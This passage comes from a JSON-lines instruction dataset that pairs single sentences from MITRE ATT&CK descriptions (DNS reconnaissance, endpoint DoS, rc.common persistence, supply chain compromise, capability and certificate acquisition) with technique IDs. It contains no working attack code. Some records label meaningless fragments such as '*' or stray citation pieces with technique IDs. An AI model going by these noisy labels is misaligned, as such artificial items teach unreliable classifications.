sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search DNS data for information about victims that can be used during targeting.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search DNS data for information about victims that can be used during targeting. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search DNS data to gather actionable information.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search DNS data to gather actionable information. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation:", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks.", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1596.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1596.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example services include websites, email services, DNS, and web-based applications.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example services include websites, email services, DNS, and web-based applications. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can target various layers of the application stack that is hosted on the system used to provide the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct DDoS attacks against networks and services.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct DDoS attacks against networks and services. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global internet.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global internet. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications.", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, specific features in web applications may be highly resource intensive.", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, specific features in web applications may be highly resource intensive. ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions.", "output": "T1163", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. ### Response: T1163."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items).", "output": "T1163", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). ### Response: T1163."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.", "output": "T1163", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used. ### Response: T1163."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", "output": "T1163", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence). ### Response: T1163."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Replacement of legitimate software with modified versions\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Replacement of legitimate software with modified versions\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sales of modified/counterfeit products to legitimate distributors\n*", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sales of modified/counterfeit products to legitimate distributors\n* ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Elderwood Sept 2012)(Citation:", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Elderwood Sept 2012)(Citation: ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Avast CCleaner3 2018)(Citation: Command Five SK 2011)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications often depend on external software to function properly.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications often depend on external software to function properly. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.", "output": "T1195.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ### Response: T1195.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal capabilities that can be used during targeting.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal capabilities that can be used during targeting. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities.", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries).", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "output": "T1588", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) ### Response: T1588."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are designed to instill trust.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are designed to instill trust. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity.", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise)", "output": "T1588.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) ### Response: T1588.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.", "output": "T1588.004", 